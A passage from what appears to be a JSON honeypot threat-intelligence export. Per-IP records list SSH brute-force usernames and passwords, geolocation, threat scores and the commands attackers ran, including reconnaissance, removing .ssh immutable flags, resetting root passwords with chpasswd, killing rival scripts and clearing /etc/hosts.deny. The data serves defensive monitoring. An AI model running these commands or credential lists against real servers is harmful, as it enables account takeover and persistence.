        "1q2w3e4r",
        "654321",
        "P@ssw0rd",
        "passw0rd",
        "password1",
        "qwerty",
        "admin",
        "Admin123",
        "admin123",
        "centos"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 744,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T15:35:14.902000+00:00",
        "last_seen_30d": "2026-03-09T17:20:24.406000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 527,
        "Suricata": 217
      }
    },
    "41.111.162.34": {
      "attack_count": 500,
      "first_seen": "2026-03-11T19:40:13.248Z",
      "last_seen": "2026-03-24T06:05:46.264Z",
      "sessions": 41,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "astra",
        "cristi",
        "db2admin",
        "email",
        "n8n",
        "adminuser",
        "awsuser",
        "beehive",
        "celery",
        "cockpit",
        "db2inst1",
        "devops",
        "django",
        "frappeuser",
        "gustavo",
        "jessica",
        "kapsch",
        "khalil"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345678",
        "12345",
        "password",
        "admin",
        "astra123",
        "awsuser123",
        "cockpit",
        "django1",
        "gustavo123!",
        "jessica123",
        "n8n",
        "nginxpass",
        "online123!",
        "robert",
        "root1234!@#$",
        "shiyi"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345\\nI6dfZjtH4aJ3\\nI6dfZjtH4aJ3\\n\"|passwd",
        "echo \"123\\nJonhz5oIMgAo\\nJonhz5oIMgAo\\n\"|passwd",
        "echo \"astra123\\n65RSKMPslGMr\\n65RSKMPslGMr\\n\"|passwd",
        "echo \"n8n\\nbLg5zhC8ngC5\\nbLg5zhC8ngC5\\n\"|passwd",
        "echo \"password\\n0w6QfAQR4wXE\\n0w6QfAQR4wXE\\n\"|passwd",
        "echo -e \"12345\\nI6dfZjtH4aJ3\\nI6dfZjtH4aJ3\"|passwd|bash",
        "echo -e \"123\\nJonhz5oIMgAo\\nJonhz5oIMgAo\"|passwd|bash",
        "echo -e \"astra123\\n65RSKMPslGMr\\n65RSKMPslGMr\"|passwd|bash",
        "echo -e \"n8n\\nbLg5zhC8ngC5\\nbLg5zhC8ngC5\"|passwd|bash",
        "echo -e \"password\\n0w6QfAQR4wXE\\n0w6QfAQR4wXE\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Algeria",
      "country_code": "DZ",
      "city": "Oran",
      "asn": 36947,
      "as_org": "Telecom Algeria",
      "threat_score": 39.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.7,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 595,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T19:40:13.248000+00:00",
        "last_seen_30d": "2026-03-24T06:06:51.952000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 500,
        "Suricata": 95
      }
    },
    "27.79.0.102": {
      "attack_count": 454,
      "first_seen": "2026-03-27T16:32:32.998Z",
      "last_seen": "2026-03-27T17:06:29.696Z",
      "sessions": 90,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "test",
        "cisco",
        "developer",
        "monitor",
        "support",
        "user",
        "*****",
        "1234",
        "123456",
        "admian",
        "anton",
        "ashish",
        "auto",
        "bin",
        "brenda",
        "btf",
        "cf1c22",
        "db2inst2"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "admin",
        "password",
        "*****",
        "0987654321",
        "1",
        "111111",
        "123",
        "12345",
        "12345678",
        "123456789",
        "1234567890%*()",
        "321start",
        "OkwKcECs8qJP2Z",
        "abcdefg",
        "anton",
        "ashish",
        "asteriskftp",
        "bin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 37.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 643,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T16:32:32.998000+00:00",
        "last_seen_30d": "2026-03-27T17:07:35.667000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 454,
        "Suricata": 189
      }
    },
    "116.110.221.119": {
      "attack_count": 452,
      "first_seen": "2026-03-15T22:32:39.647Z",
      "last_seen": "2026-03-15T23:00:41.936Z",
      "sessions": 90,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "test",
        "cisco",
        "user",
        "1234",
        "123456",
        "ace",
        "admian",
        "anton",
        "auto",
        "belkinstyle",
        "bin",
        "btf",
        "carol",
        "cf1c22",
        "db2inst2",
        "demo",
        "ftp",
        "ftpuser"
      ],
      "passwords_attempted": [
        "admin",
        "1234",
        "12345",
        "abc123",
        "admin123",
        "password",
        "0987654321",
        "1",
        "1111",
        "123456",
        "12345678",
        "123456789",
        "321start",
        "72ca06",
        "P@ssw0rd",
        "abcd1234",
        "abcdefg",
        "ace",
        "administrator",
        "alpine"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 644,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T22:32:39.647000+00:00",
        "last_seen_30d": "2026-03-15T23:01:51.267000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 452,
        "Suricata": 192
      }
    },
    "82.153.157.220": {
      "attack_count": 449,
      "first_seen": "2026-03-08T06:41:15.273Z",
      "last_seen": "2026-03-19T15:19:37.624Z",
      "sessions": 43,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "kafka",
        "planka",
        "abdul",
        "activemq",
        "admin",
        "andres",
        "android",
        "angga",
        "ashish",
        "ax",
        "canon",
        "cs",
        "ec2-user",
        "gabriel",
        "gw",
        "issabel",
        "j",
        "jupyter"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "password",
        "123456",
        "123",
        "123123123",
        "12345",
        "12345678",
        "123QWEasd",
        "123qwe",
        "1QAZ2wsx3edc",
        "Ax123!",
        "Computer123",
        "Cs123!",
        "Ec2-User123",
        "Misha123!",
        "News",
        "Qwerty12345",
        "abdul123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"kafka123\\nPwmXI9u0T2wo\\nPwmXI9u0T2wo\\n\"|passwd",
        "echo \"password\\n6mXO96Rs3HWq\\n6mXO96Rs3HWq\\n\"|passwd",
        "echo \"root:0B9b2Ftc07Tf\"|chpasswd|bash",
        "echo \"root:QKx1UaDuF4Bx\"|chpasswd|bash",
        "echo -e \"kafka123\\nPwmXI9u0T2wo\\nPwmXI9u0T2wo\"|passwd|bash",
        "echo -e \"password\\n6mXO96Rs3HWq\\n6mXO96Rs3HWq\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 215672,
      "as_org": "MoeChuang Network Limited",
      "threat_score": 29.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.4,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 548,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T06:41:15.273000+00:00",
        "last_seen_30d": "2026-03-19T15:20:46.252000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 449,
        "Suricata": 99
      }
    },
    "102.219.126.32": {
      "attack_count": 386,
      "first_seen": "2026-03-08T12:17:43.554Z",
      "last_seen": "2026-03-13T02:21:40.647Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "claude",
        "edward",
        "sistemas",
        "viewtinet",
        "ais",
        "alex",
        "huang",
        "jino",
        "lh",
        "samba",
        "student2",
        "term2",
        "trans",
        "vadim",
        "vbox",
        "vicente",
        "zjm"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "password",
        "123qwe,.",
        "Admin123#",
        "Huang123",
        "Term2123!",
        "Zjm123!",
        "alex123!",
        "edward1234",
        "leo",
        "lhpass",
        "pass123",
        "qq123456",
        "qwerty",
        "samba",
        "sistemas",
        "student2123",
        "trans"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"edward1234\\nQnE8hq1KqjP7\\nQnE8hq1KqjP7\\n\"|passwd",
        "echo \"password\\nMrxHwJylvWpu\\nMrxHwJylvWpu\\n\"|passwd",
        "echo \"qwerty\\nx8KKNNxYV3n3\\nx8KKNNxYV3n3\\n\"|passwd",
        "echo \"sistemas\\nEMDTyLa0OyOr\\nEMDTyLa0OyOr\\n\"|passwd",
        "echo -e \"edward1234\\nQnE8hq1KqjP7\\nQnE8hq1KqjP7\"|passwd|bash",
        "echo -e \"password\\nMrxHwJylvWpu\\nMrxHwJylvWpu\"|passwd|bash",
        "echo -e \"qwerty\\nx8KKNNxYV3n3\\nx8KKNNxYV3n3\"|passwd|bash",
        "echo -e \"sistemas\\nEMDTyLa0OyOr\\nEMDTyLa0OyOr\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Angola",
      "country_code": "AO",
      "city": null,
      "asn": 37468,
      "as_org": "ANGOLA-CABLES",
      "threat_score": 17.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.6,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 455,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T12:17:43.554000+00:00",
        "last_seen_30d": "2026-03-13T02:22:45.971000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 386,
        "Suricata": 69
      }
    },
    "188.166.218.64": {
      "attack_count": 379,
      "first_seen": "2026-03-04T01:06:05.644Z",
      "last_seen": "2026-03-15T18:41:21.969Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "alexis",
        "ubuntu",
        "adi",
        "admin",
        "live",
        "project",
        "smbuser",
        "webappuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "!Qaz@Wsx#Edc",
        "123",
        "123456",
        "Abc@123456789",
        "Bingo@1993",
        "Ceshi123",
        "Ljy123456",
        "P@ssw0rd01!",
        "P@ssword12345@",
        "Password@2024",
        "Zz112233",
        "abc.12345",
        "admin1234@",
        "live123!",
        "m123456",
        "password",
        "qwerty"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"1234\\nQ4ojEfg1UYcD\\nQ4ojEfg1UYcD\\n\"|passwd",
        "echo \"root:C5LOHYGyVRoW\"|chpasswd|bash",
        "echo \"root:CsvcXri45kYr\"|chpasswd|bash",
        "echo \"ucloud.cn\\nNmbxlmeNvKbV\\nNmbxlmeNvKbV\\n\"|passwd",
        "echo -e \"1234\\nQ4ojEfg1UYcD\\nQ4ojEfg1UYcD\"|passwd|bash",
        "echo -e \"ucloud.cn\\nNmbxlmeNvKbV\\nNmbxlmeNvKbV\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 22.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.5,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 447,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T01:06:05.644000+00:00",
        "last_seen_30d": "2026-03-15T18:42:22.186000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 379,
        "Suricata": 68
      }
    },
    "103.175.16.158": {
      "attack_count": 376,
      "first_seen": "2026-03-03T06:33:01.500Z",
      "last_seen": "2026-03-25T07:34:38.022Z",
      "sessions": 47,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "lgs",
        "bacon",
        "clair",
        "dbuser",
        "github",
        "huangjq",
        "intranet",
        "lili",
        "magento",
        "mukund",
        "pdv",
        "student01",
        "testi",
        "webdeploy",
        "xwiki"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Bingo@1993",
        "1234@Abc",
        "123@@@",
        "1q2w3e4r@",
        "33",
        "3edcXSW@",
        "Baidu@123",
        "Huawei!123",
        "QAZxsw123",
        "QWEasd123!",
        "Qwe123456.",
        "Test_1234",
        "Tk123456@",
        "abc123de",
        "aditya123",
        "admin123#",
        "bacon",
        "clair"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"lgs\\nIbCPEuJw5Tzq\\nIbCPEuJw5Tzq\\n\"|passwd",
        "echo \"root:mACLC4S2e9UV\"|chpasswd|bash",
        "echo -e \"lgs\\nIbCPEuJw5Tzq\\nIbCPEuJw5Tzq\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.command.failed"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Cyberjaya",
      "asn": 55720,
      "as_org": "Gigabit Hosting Sdn Bhd",
      "threat_score": 46.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.0,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 498,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T06:33:01.500000+00:00",
        "last_seen_30d": "2026-03-25T07:35:40.831000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 376,
        "Suricata": 122
      }
    },
    "132.145.213.106": {
      "attack_count": 367,
      "first_seen": "2026-03-05T19:00:50.041Z",
      "last_seen": "2026-03-25T15:04:55.366Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "intel",
        "root",
        "tv",
        "web",
        "1p",
        "abdullah",
        "admin1",
        "amplify",
        "applmgr",
        "ay",
        "bitrix",
        "buster",
        "claims",
        "ethan",
        "ftb",
        "gooduse",
        "izumida",
        "ljd",
        "manager"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345678",
        "123",
        "123123",
        "12345",
        "123456qwerty",
        "Aa@123456789",
        "Ethan123!",
        "admin1",
        "administrator",
        "amplify",
        "applmgr",
        "bitrix1234",
        "buster",
        "carlos",
        "claims",
        "friend",
        "gooduse"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456qwerty\\nc3lKA6RDDcmm\\nc3lKA6RDDcmm\\n\"|passwd",
        "echo \"12345\\nZjEXn7uJFaZ3\\nZjEXn7uJFaZ3\\n\"|passwd",
        "echo \"intel123!\\nSjNoQfG1l0QD\\nSjNoQfG1l0QD\\n\"|passwd",
        "echo -e \"123456qwerty\\nc3lKA6RDDcmm\\nc3lKA6RDDcmm\"|passwd|bash",
        "echo -e \"12345\\nZjEXn7uJFaZ3\\nZjEXn7uJFaZ3\"|passwd|bash",
        "echo -e \"intel123!\\nSjNoQfG1l0QD\\nSjNoQfG1l0QD\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 44.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.6,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 455,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T19:00:50.041000+00:00",
        "last_seen_30d": "2026-03-25T15:06:02.749000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 367,
        "Suricata": 88
      }
    },
    "143.110.241.64": {
      "attack_count": 361,
      "first_seen": "2026-03-13T23:39:19.782Z",
      "last_seen": "2026-03-15T20:42:24.142Z",
      "sessions": 37,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "chat",
        "eder",
        "David",
        "ankit",
        "arma3server",
        "bin",
        "bounce",
        "coolify",
        "csserver",
        "dmdba",
        "flutter",
        "friend",
        "ftpuser1",
        "manish",
        "mcserver",
        "passbolt",
        "paula",
        "pilot"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "123",
        "12345",
        "2801",
        "Csserver123",
        "Friend123!",
        "Master123",
        "Mcserver123",
        "Passbolt123!",
        "Test101123",
        "Testing123",
        "Vscode123!",
        "ankit123",
        "arma3server123!",
        "bounce1234",
        "chatpass",
        "coolify1234",
        "dmdbapass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\noJjpXShuJrQO\\noJjpXShuJrQO\\n\"|passwd",
        "echo \"chatpass\\nXImVbqrVZJfZ\\nXImVbqrVZJfZ\\n\"|passwd",
        "echo \"root:qAYkJ6kur9Cm\"|chpasswd|bash",
        "echo -e \"123\\noJjpXShuJrQO\\noJjpXShuJrQO\"|passwd|bash",
        "echo -e \"chatpass\\nXImVbqrVZJfZ\\nXImVbqrVZJfZ\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 19.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.5,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 447,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T23:39:19.782000+00:00",
        "last_seen_30d": "2026-03-15T20:43:34.115000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 361,
        "Suricata": 86
      }
    },
    "101.47.161.212": {
      "attack_count": 321,
      "first_seen": "2026-03-07T00:20:22.160Z",
      "last_seen": "2026-03-26T07:52:58.288Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "hr",
        "mahdi",
        "testuser",
        "User",
        "atlas",
        "azuracast",
        "cvs",
        "ftp_test",
        "ghost",
        "hik",
        "jon",
        "linux",
        "pwserver",
        "root1",
        "user8"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "@qwer2025",
        "@qwer2026",
        "Abc123!!!",
        "Ftp_test123",
        "Hik@2022",
        "Qwert!2345",
        "User",
        "atlas123",
        "cvs",
        "hrpass",
        "jon1234",
        "pass",
        "password",
        "root1",
        "t5r4e3w2q1",
        "vps@2025"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1234\\ndZILioB79Suk\\ndZILioB79Suk\\n\"|passwd",
        "echo \"pass\\ngrTczoWs0ci8\\ngrTczoWs0ci8\\n\"|passwd",
        "echo \"root:EWS76hOa0vJU\"|chpasswd|bash",
        "echo -e \"1234\\ndZILioB79Suk\\ndZILioB79Suk\"|passwd|bash",
        "echo -e \"pass\\ngrTczoWs0ci8\\ngrTczoWs0ci8\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.params",
        "cowrie.log.closed",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 45.5,
